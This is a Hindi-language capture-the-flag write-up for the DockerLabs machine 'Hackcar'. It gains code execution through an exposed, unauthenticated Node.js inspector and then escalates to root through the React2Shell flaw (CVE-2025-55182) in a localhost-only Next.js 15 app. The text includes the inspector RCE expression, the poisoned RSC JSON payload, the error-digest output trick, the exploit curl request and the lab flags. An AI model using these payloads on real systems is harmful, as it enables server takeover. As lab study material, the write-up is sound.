
विवरण: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
प्लेटफ़ॉर्म: DockerLabs कठिनाई: मध्यम (कमोबेश, इसमें मज़ा है) लक्ष्य:
webuserसेrootतक एक Next.js को तोड़ते हुए
हमेशा की तरह, पहले सबसे पहले: देखें हमारे सामने क्या है।
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
रुको... 9229? यह पोर्ट सामान्य नहीं है। और एक पूर्ण स्कैन पुष्टि करता है कि केवल दो पोर्ट हैं:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229 Node.js inspector (debugger) का विशिष्ट पोर्ट है। अगर यह बिना सुरक्षा के उजागर है, तो यह मूल रूप से कोड निष्पादन के लिए एक खुला दरवाज़ा है। आइए इसे जाँचें।
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
बहुत बढ़िया। Node का debugger उजागर है, बिना प्रमाणीकरण के, और ऊपर से यह हमें बताता है कि ऐप कहाँ रहती है। यह सीधा RCE है।
debugger उजागर होने के साथ हमें केवल WebSocket से जुड़ने और Node प्रक्रिया के अंदर जो चाहें चलाने के लिए Runtime.evaluate का उपयोग करने की आवश्यकता है।
मैंने Python में एक त्वरित स्क्रिप्ट बनाई जो debugger का URL निकालती है और process.mainModule.require('child_process').execSync() के साथ कमांड चलाती है:
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
उद्धरणों से लड़ने से बचने के लिए, मैं पूरा कमांड base64 में भेजता हूँ और इसे प्रक्रिया के अंदर ही डिकोड करता हूँ। पहला परीक्षण:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
webuser के रूप में RCE। मशीन हमारे हाथ में है... या ऐसा मैंने सोचा था। पता चला कि असली मज़ा और छिपा हुआ था।
आइए प्रक्रियाओं को देखें कि मशीन पर और क्या चल रहा है:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
ध्यान दें! पोर्ट 3000 पर ROOT के रूप में चल रही एक Next.js संस्करण 15.0.0-rc.1 है (केवल localhost)। यह विशेषाधिकार की बू आ रही है... और CVE की भी।
चूँकि यह कंटेनर के अंदर केवल 127.0.0.1 पर सुन रही है, हम इसे बाहर से नहीं छू सकते। लेकिन हमारे पास RCE है, इसलिए हम अंदर से प्रवेश कर सकते हैं। पहले देखें यह क्या है:
curl -s http://127.0.0.1:3000/
एक "Internal Administration Portal" दिखाई देता है — एक आंतरिक प्रशासन पोर्टल। सब बहुत लुभावना।
user flag हमें जल्दी मिल गई:
DL{g2QrDUvg3HiqaWeZBbZa}
और अब उस Next.js के माध्यम से root तक escalate करने की बारी है।
संस्करण Next.js 15.0.0-rc.1 है, जो React 19 का उपयोग करता है जो प्रसिद्ध React2Shell (CVE-2025-55182) के प्रति संवेदनशील है: RSC parser (React Server Components / Flight protocol) में prototype pollution के कारण एक गंभीर RCE (CVSS 10.0)।
exploit एक विकृत multipart/form-data है जिसमें Next-Action header है, जो React parser को एक ज़हरीली वस्तु deserialize करने का कारण बनता है जो अंततः हमारे कोड के साथ Function constructor को कॉल करती है:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<निष्पादित करने के लिए JS कोड>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
यानी: Chunk.prototype.then को ज़हरीला बनाया जाता है, parser हमारा मॉडल लोड करता है, और promise को resolve करते समय हमारा JavaScript Next.js प्रक्रिया में निष्पादित होता है, जो root के रूप में चल रही है।
output निकालने के लिए मैंने "redirect" मोड का उपयोग किया: कोड कमांड चलाता है, परिणाम का base64 बनाता है और इसे एक Error की digest प्रॉपर्टी में डालता है, जिसे Next.js एक header के रूप में लौटाता है:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
अंतिम अनुरोध:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
सर्वर 500 प्रतिक्रिया देता है (यह सामान्य है, यह जानबूझकर एक त्रुटि है) और header में:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
हम डिकोड करते हैं:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
हम ROOT हैं। और flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, स्थिर, शुद्ध धुआँ)
└─ 9229 (Node.js inspector उजागर)
└─ Runtime.evaluate के माध्यम से webuser के रूप में RCE
└─ गणना: 127.0.0.1:3000 पर ROOT के रूप में Next.js 15.0.0-rc.1
└─ CVE-2025-55182 (React2Shell): root RCE
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| फ़ाइल | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | कमज़ोरी | CWE | हमें क्या मिला |
|---|---|---|---|
| 1 | बिना प्रमाणीकरण के Node.js inspector (पोर्ट 9229) | CWE-284 | webuser के रूप में RCE |
| 2 | पुरानी Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | root के रूप में RCE |
सबक:
| उपकरण | उपयोग |
|---|---|
nmap | पोर्ट पुनरावलोकन |
curl | वेब गणना और exploit चलाना |
websocket-client (Python) | Node inspector से बात करना |
jadx | पिछली मशीन (यहाँ नहीं, लेकिन मुझे अभी भी यह सुंदर लगता है) |
base64 | उद्धरणों की परेशानी के बिना payloads परिवहन |
शैक्षिक उद्देश्यों के लिए Writeup। केवल उन मशीनों को छुएं जहाँ आपके पास प्राधिकरण है (DockerLabs, HTB, आपकी अपनी प्रयोगशाला)।